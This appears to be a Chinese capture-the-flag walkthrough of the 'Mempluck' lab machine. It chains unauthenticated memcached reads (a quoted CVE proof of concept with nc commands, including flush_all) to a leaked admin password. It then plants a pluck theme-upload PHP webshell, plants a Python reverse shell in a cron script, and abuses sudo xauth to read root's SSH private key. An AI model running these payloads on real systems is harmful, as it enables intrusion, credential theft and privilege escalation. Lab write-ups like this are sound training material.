

Mempluck

```
hel2zy /study/mazesec/Mempluck 02:29
> nmap -sC -sV -p- 192.168.43.50
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 02:32 EDT
Nmap scan report for 192.168.43.50
Host is up (0.0014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.66 ((Unix))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_    httponly flag not set
| http-title: Hello World! - MemPluck
|_Requested resource was http://192.168.43.50/?file=hello-world
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-generator: pluck 4.7.16
|_http-server-header: Apache/2.4.66 (Unix)
11211/tcp open  memcached Memcached 1.6.32 (uptime 153 seconds)
MAC Address: 08:00:27:05:29:FE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.99 seconds
```

http://192.168.43.50/login.php 有登录页面，但是又登录次数限制，扫描网站后台发现又admin.php等一系列后台文件，肯定是要获取admin用户权限的

通过nmap扫描到了11211端口，看到是memcached服务，不太熟悉，上网查一下

Memcached 是一个自由开源、高性能、分布式的**内存对象缓存系统**。它通过在内存中缓存数据和对象，显著减少读取数据库的次数，从而加速动态 Web 应用并减轻后端数据库的负载。其基于简单 Key-Value（键值对）存储，适用于存储小块的任意数据。

大概是一种缓存机制，能够高效的处理数据，顺便查一下cve看看有没有相关的漏洞

CVE

关于 合作伙伴信息 项目组织 下载 资源与支持

报告/请求

输入关键词（例如：CVE ID、SQL注入等）

搜索

网站搜索

搜索技巧

提供反馈

注意：上方搜索框现已提供 扩展的 CVE 记录关键词搜索功能（有一定限制）。[点击此处](#) 了解更多信息。

CVE-2026-29093 已发布

查看 JSON | 用户指南

全部收起

所需的 CVE 记录信息

CNA：GitHub（维护者安全公告）

授权数据发布者

CISA-ADP

发布日期：2026-03-06 更新：2026-03-06

标题：WWBN 视频：未经身份验证的 PHP 会话存储通过已发布的 memcached 端口暴露给主机网络

描述

WWBN AVideo 是一个开源视频平台。在 24.0 版本之前，官方的 docker-compose.yml 文件会将 memcached 服务发布到主机端口 11211 (0.0.0.0:11211) 上，且未启用身份验证。同时，Dockerfile 配置 PHP 将所有用户会话存储在该 memcached 实例中。攻击者只要能够访问端口 11211，就可以读取、修改或清除会话数据，从而实现会话劫持、冒充管理员以及批量销毁会话，而无需任何应用层身份验证。此问题已在 24.0 版本中修复。

CWE 共 2 人

了解更多

CWE-287：身份验证不正确

有一个CVE-2026-29093漏洞，能够未授权连接，进行读取或修改

官方 `docker-compose.yml` 在主机端口 11211 上发布了 memcached 服务，`0.0.0.0:11211` 且未启用身份验证。同时，Dockerfile 配置 PHP 将所有用户会话存储在该 memcached 实例中。攻击者只要能够访问端口 11211，就可以读取、修改或清除会话数据，从而实现会话劫持、冒充管理员以及批量销毁会话，而无需任何应用层身份验证。

能找到详细一些的利用方案<https://github.com/WWBN/AVideo/security/advisories/GHSA-xxpw-32hf-q8v9>

github.com/WWBN/AVideo/security/advisories/GHSA-xxpw-32hf-q8v9

执行链

1. 攻击者扫描目标主机，发现 11211 端口开放

2. 攻击者可连接到 nc TARGET 11211 任何 memcached 客户端——无需身份验证

3. 攻击者运行 stats items 以枚举会话 slab 类

4. 攻击者运行程序 stats cachedump <slab_id> <limit> 以列出会话密钥

5. 攻击者试图 get <session_key> 读取包含用户ID、管理员标志和密码哈希值的序列化PHP会话数据。

6. 攻击者可能是：

- 劫持会话：使用会话 ID 作为 cookie 来冒充用户
- 提升权限：通过修改会话数据将其设置 isAdmin 为 true set <session_key>
- 执行拒绝服务攻击：运行 flush_all 以销毁所有会话

概念验证

```
# 1. Verify memcached is reachable (returns server stats)
echo -e "stats\r" | nc TARGET 11211

# 2. Enumerate session keys
echo -e "stats items\r" | nc TARGET 11211
# Then for each slab:
echo -e "stats cachedump 1 100\r" | nc TARGET 11211

# 3. Read a session (key format: memc.sess.key.<session_id>)
echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211
# Returns serialized PHP session with user data, admin flag, etc.

# 4. DoS - destroy all sessions (logs out every user)
echo -e "flush_all\r" | nc TARGET 11211
```

对于会话劫持，从步骤 3 中提取会话 ID，并将其设置为 PHPSESSID 浏览器中的 cookie 以冒充受害者用户。

这里因为漏洞说会泄露用户的凭证，并且我发现secret值大概每分钟就会变化一次，因此我一直以为这里获取到的secret值是cookie值。然后我卡了好久，后来一个一个试token值的过程中发现secret7的值不变，我还怀疑是卡了，重启了一次靶机，还是没变，说明一定有用，最后发现是admin用户的密码，没想到这么直接。

```
> nc 192.168.43.50 11211
stats cachedump 1 100
ITEM secret10 [16 b; 0 s]
ITEM secret9 [16 b; 0 s]
ITEM secret8 [16 b; 0 s]
ITEM secret7 [16 b; 0 s]
ITEM secret6 [16 b; 0 s]
ITEM secret5 [16 b; 0 s]
ITEM secret4 [16 b; 0 s]
ITEM secret3 [16 b; 0 s]
ITEM secret2 [16 b; 0 s]
ITEM secret1 [16 b; 0 s]
END

.....

get secret7
VALUE secret7 0 16
sw3H5nYR6jVpp5Ks
END
get secret7
```

```
VALUE secret7 0 16
sw3H5nYR6jVPP5Ks
END
get secret7
VALUE secret7 0 16
sw3H5nYR6jVPP5Ks
END
```

登录成功后上网找了一下现成的漏洞<https://www.cnblogs.com/Susen/p/18868857>

利用上传的theme压缩包投毒写入文件执行命令<https://github.com/billcreswell/redline-theme>

▼ 今天

 info.php	2026/4/2 16:50	PHP 文件
 img	2026/4/2 16:49	文件夹

▼ 很久以前

 license.txt	2014/4/11 9:35	TXT 文件
 README.md	2014/4/11 9:35	MD 文件
 style.css	2014/4/11 9:35	CSS 文件
 theme.php	2014/4/11 9:35	PHP 文件

修改info.php的内容

```
<?php
file_put_contents('shell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));
$themedir = 'redline';
$themenam = 'Redline';
$module_space[0] = 'main';
$module_space[1] = 'footer';
?>
```

192.168.43.50/shell.php?1=cat+/etc/passwd

```
root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21:/:/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/sbin/nologin klogd:x:100:101:klogd:/dev/null:/sbin/nologin nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin caddy:x:102:104:caddy:/var/lib/caddy:/sbin/nologin
lighttpd:x:103:105:lighttpd:/var/www/localhost/htdocs:/sbin/nologin memcached:x:104:106:memcached:/home/memcached:/sbin/nologin taditto:x:1000:1000:/home/taditto:/bin/sh
apache:x:105:107:apache:/var/www:/sbin/nologin scdyh:x:1001:1001:/home/scdyh:/bin/sh
```

直接反弹 shell

```

> python /tools/penelope/penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.43.44 • 198.18.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🗑️ Clear (Ctrl-L) 🛑 Quit (q/Ctrl-C)
[+] Got reverse shell from Mempluck~192.168.43.44-Linux-x86_64 🎉 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🙌
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/sessions/Mempluck~192.168.43.44-Linux-x86_64/2026_04_02-04_57_17-245.log 📄

```

```

/var/www/localhost/htdocs $ id
uid=105(apache) gid=107(apache) groups=82(www-data),107(apache),107(apache)

```

拿到了apache用户权限，通过密码复用拿到taditto用户权限

```

/home $ su taditto
Password:
/home $ id
uid=1000(taditto) gid=1000(taditto) groups=1000(taditto)
/home $ sudo -l

```

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

```

[sudo] password for taditto:
Sorry, user taditto may not run sudo on Mempluck.
/home $ cd /tmp

```

还有一个scdyh用户，这里我顺便就问了一下scdyh，他表示他也不知道自己的密码是多少，那么办法了继续吧，还以为能社工呢哈哈。

opt下路径可写，这挺奇怪的，肯定有用，有一个init_memcached.py，看一下就是前面11211端口的内容，第一行注释提示这个脚本是在定时任务中的，那么就可以删掉重新写一个这个脚本

```

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.44", 5555))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

```

弹回来scdyh的权限（定时任务就是好，平时怎么弹也不成功的定时任务，这次一直在弹）

```

~ $ id
uid=1001(scdyh) gid=1001(scdyh) groups=1001(scdyh)
~ $ ls -la
total 8
drwxr-sr-x  2 scdyh  scdyh      4096 Feb 25 13:29 .
drwxr-xr-x  4 root   root       4096 Feb 25 12:54 ..
lrwxrwxrwx  1 root   scdyh       9 Feb 25 13:29 .ash_history -> /dev/null

/tmp $ sudo -l
Matching Defaults entries for scdyh on Mempluck:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for scdyh:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User scdyh may run the following commands on Mempluck:
    (ALL : ALL) NOPASSWD: /usr/bin/xauth

```

xauth没见过，查一下用法

xauth 是 Linux 和 Unix 系统中用于管理 **X Window 系统（图形界面）** 访问授权的命令行工具。它用于读取、写入和编辑 `.xauthority` 文件中的“Magic Cookie”（魔术令牌），允许特定用户通过 SSH 或本地连接在 X 服务器上显示图形程序。

有读写的权限，那很好了，查看一下参数用法

```

/tmp $ sudo xauth -h
usage: xauth [-options ...] [command arg ...]

where options include:
    -f authfilename      name of authority file to use
    -v                  turn on extra messages
    -q                  turn off extra messages
    -i                  ignore locks on authority file
    -b                  break locks on authority file
    -n                  do not resolve host names in authority file
    -V                  show version number of xauth

and commands have the following syntax:

    add dpyname protoname hexkey    add entry
    exit                            save changes and exit program
    extract filename dpyname...      extract entries into file
    help [topic]                    print help
    info                            print information about entries
    list [dpyname...]               list entries
    merge filename...               merge entries from files
    nexttract filename dpyname...    numerically extract entries
    nlist [dpyname...]              numerically list entries
    nmerge filename...              numerically merge entries
    quit                            abort changes and exit program
    remove dpyname...               remove entries
    source filename                  read commands from file

```

```
version                show version number of xauth
?                      list available commands
generate dpyname protoname [options] use server to generate entry
options are:
    timeout n          authorization expiration time in seconds
    trusted            clients using this entry are trusted
    untrusted          clients using this entry are untrusted
    group n            clients using this entry belong to application group n
    data hexkey        auth protocol specific data needed to generate the entry
```

A dash may be used with the "merge" and "source" to read from the standard input. Commands beginning with "n" use numeric format.

结合参数，source可以将文件内容以命令的方式读取并执行，在测试的时候，如果读取的内容不符合xauth的命令格式那么就会报错，并且会显示错误的这一行的内容（这里这一行是以回车或者是空格截断的，应该是所有空字符都会截断）

那么可以source导入一些我想要读取的文件，通过报错信息读取到任意文件内容，最直接的就是读私钥文件尝试连接了

```
/opt $ sudo /usr/bin/xauth source /root/.ssh/id_rsa
```

```
hel2zy /study/mazesec/Mempluck 06:50
> nano id_rsa

hel2zy /study/mazesec/Mempluck 06:50
> chmod 600 id_rsa

hel2zy /study/mazesec/Mempluck 06:51
> ssh -i id_rsa root@192.168.43.50
The authenticity of host '192.168.43.50 (192.168.43.50)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:20: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.50' (ED25519) to the list of known hosts.

Mempluck:~# ls -la
total 40
drwx----- 7 root root 4096 Apr  2 18:48 .
drwxr-xr-x 21 root root 4096 Feb 25 16:30 ..
lrwxrwxrwx 1 root root    9 Jun  3 2025 .ash_history -> /dev/null
drwxr-xr-x 3 root root 4096 Feb 25 00:22 .cache
drwxr-xr-x 3 root root 4096 Jun  3 2025 .config
drwxr-xr-x 3 root root 4096 Jun  3 2025 .local
-rw-r--r-- 1 root root   55 Jun  3 2025 .profile
drwx----- 2 root root 4096 Apr  2 18:40 .ssh
drwxr-xr-x 3 root root 4096 Jan 22 22:55 .vim
-rw-r--r-- 1 root root   91 Jan 22 22:55 .vimrc
-rw-r--r-- 1 root root   44 Feb 25 12:55 root.txt
Mempluck:~# cat root.txt
flag{root-83be3cb5257a8f1626bb46a38fd5fbbb}
Mempluck:~#
```

root之后觉得可以用xauth写文件，但是尝试了半天也没有成功

```
/tmp $ sudo xauth add :1 MIT-MAGIC-COOKIE-1 5c6e5c6e7373682d727361204141414142334e7a614331796332454141414144415141424141414341
5143305434754d6c4974412f43364a4677356b776e796f3559576a4e50644d5162564e55697a6a48524a352b746d72447a58514f3354427a48506d362b3550
4a4e5a56717454703967416b55537139364e46477a646a717271634e54616947573859354a3079736345524a6e52336c3732627a4b73525530494c57705768
393768694b354564313046563979364b45784e45776c77553267335a7255503843585852426d32386b75696a3569617158642f7446377862667a434f6d7a55
797a2b54454462417469337072664b50532b76302f66722b4a776b516c306f7353765a73317a334267364e4742784b5868697a51434b467132532b4c455044
326a44486b4b5649634632776666743054687576362f59636f64745a574d477158316b65695a77635241744f767035546538565149523555764e4f547a7a67
756530486b4131386a584b472f6d2f503248717047627a5442445136544e627653526a664b6e6a464a2b752f4d7147316a704f6e773070724f69753659362f
48714d63587947456a636e55476637435047767a4b4d66396c59426f4744412f397769337265783139696e525452635a365a6336664e31326567384a6a6565
2b4264734b6a627479417a5874786f685748533941394b744533645539495733324b79554c4f3050374563384544424176477461516b4a785343332b7a7a46
566c4d76764748506656646b587974755738586953626733546a70764a5a635361696d614c35304d316e546c4d65676d516831634e7061346e70446969366e
775679516370522b7a2b493561756e2f794542564a526d43396e4b446a462f474a3551495952697647325344702b4f74646b7848414935324d45666143395a
6d73686c4f76486b6e5441796345704766387072376a4648735969704135584575363850655734474f43524b30595079483179573448773d3d20726f6f7440
6b616c69
/tmp $ sudo xauth extract /root/.ssh/authorized_keys :1
/tmp $ █
```

```
Mempluck1MIT-MAGIC-COOKIE-15c6e5c6e7373682d727361204141414142334e7a614331796332454141414144415141424141414341
Mempluck:/tmp# cat ~/.ssh/authorized_keys
0100 0008 4d656d706c75636b 0001 31 0012 4d49542d4d414749432d434f4b49452d31 02de 7373682d727361204141414142334e7a614331796332
45414141414441514142414141414341514143305434754d6c4974412f43364a4677356b776e796f3559576a4e50644d5162564e55697a6a48524a352b746d7244
7a58514f3354427a48506d362b35504a4e5a56717454703967416b55537139364e46477a646a717271634e54616947573859354a3079736345524a6e52336c
3732627a4b73525530494c5770768393768694b354564313046563979364b45784e45776c77553267335a7255503843585852426d32386b75696a35696171
58642f7446377862667a434f6d7a55797a2b54454462417469337072664b50532b76302f66722b4a776b516c306f7353765a73317a334267364e4742784b55
68697a51434b467132532b4c455044326a44486b4b5649634632776666743054687576362f59636f64745a574d477158316b65695a77635241744f76703554
6538565149523555764e4f547a7a67756530486b4131386a584b472f6d2f503248717047627a5442445136544e627653526a664b6e6a464a2b752f4d714731
6a704f6e773070724f69753659362f48714d63587947456a636e55476637435047767a4b4d66396c59426f4744412f397769337265783139696e525452635a
365a6336664e31326567384a6a65652b4264734b6a627479417a5874786f685748533941394b744533645539495733324b79554c4f30503745633845444241
76477461516b4a78534332b7a7a46566c4d76764748506656646b587974755738586953626733546a70764a5a635361696d614c35304d316e546c4d65676d
516831634e7061346e70446969366e775679516370522b7a2b493561756e2f794542564a526d43396e4b446a462f474a3551495952697647325344702b4f74
646b7848414935324d45666143395a6d73686c4f76486b6e5441796345704766387072376a4648735969704135584575363850655734474f43524b30595079
483179573448773d3d20726f6f74406b616c69
Mempluck:/tmp# cat ~/.ssh/authorized_keys
Mempluck1MIT-MAGIC-COOKIE-1sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQACQ0T4uMlItA/C6JFw5kwnyo5YWjNPdMQbVNUizjHRJ5+tmrDzXQ03TBzHPm6+
5PJNZVqtTp9gAkUSq96NF6zdjqrqcNTaiGw8Y5J0yscERJnR3l72bzKsRU0ILWpWh97hiK5Ed10FV9y6KExNEwLwU2g3ZrUP8CXXRBm28kuij5iaqXd/tF7xbfzC0m
zUyz+TEdbAti3prfKPS+v0/fr+JwkQl0osSvZs1z3Bg6NGBxKXhizQCKFq2S+LEPD2jDHKKVfC2wfft0Thuv6/YcodtZWMGqX1keiZwcRAtoVp5Te8VQIR5UvN0Tz
zgue0HkA18jXK6/m/P2HqpGbzTBDQ6TNbvSRjfkNjFJ+u/Mq61jp0nw0pr0iu6Y6/HqMcXyG6jcnUGf7CP6vzKMf9lYBoGDA/9wi3rex19inRTRcZ6Zc6fN12eg8Jj
ee+BdsKjbtYAzXtxohWHS9A9KtE3dU9IW32KyUL00P7Ec8EDBAvg6taQkJxSC3+zzFVlMvvGHPfVdkXytuW8XiSbg3TjpvJZcSaimaL50M1nTlMegmQh1cNpa4npDii
6nwVvYQcpR+z+I5aun/yEBVJRmC9nKDjF/6J5QIYRivG2SDp+OtdkxHAI52MEfaC9Zmshl0vHknTAycEp6f8pr7jFHsYipA5XEu68PeW4G0CRK0YPyH1yW4Hw== roo
Mempluck:/tmp# cat ~/.ssh/authorized_keys
Mempluck1MIT-MAGIC-COOKIE-1n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQACQ0T4uMlItA/C6JFw5kwnyo5YWjNPdMQbVNUizjHRJ5+tmrDzXQ03TBzH
Pm6+5PJNZVqtTp9gAkUSq96NF6zdjqrqcNTaiGw8Y5J0yscERJnR3l72bzKsRU0ILWpWh97hiK5Ed10FV9y6KExNEwLwU2g3ZrUP8CXXRBm28kuij5iaqXd/tF7xbf
zC0mzUyz+TEdbAti3prfKPS+v0/fr+JwkQl0osSvZs1z3Bg6NGBxKXhizQCKFq2S+LEPD2jDHKKVfC2wfft0Thuv6/YcodtZWMGqX1keiZwcRAtoVp5Te8VQIR5Uv
NOTzzgue0HkA18jXK6/m/P2HqpGbzTBDQ6TNbvSRjfkNjFJ+u/Mq61jp0nw0pr0iu6Y6/HqMcXyG6jcnUGf7CP6vzKMf9lYBoGDA/9wi3rex19inRTRcZ6Zc6fN12e
g8Jjee+BdsKjbtYAzXtxohWHS9A9KtE3dU9IW32KyUL00P7Ec8EDBAvg6taQkJxSC3+zzFVlMvvGHPfVdkXytuW8XiSbg3TjpvJZcSaimaL50M1nTlMegmQh1cNpa4n
pDii6nwVvYQcpR+z+I5aun/yEBVJRmC9nKDjF/6J5QIYRivG2SDp+OtdkxHAI52MEfaC9Zmshl0vHknTAycEp6f8pr7jFHsYipA5XEu68PeW4G0CRK0YPyH1yW4Hw==
root@kaliMempluck:/tmp# q
```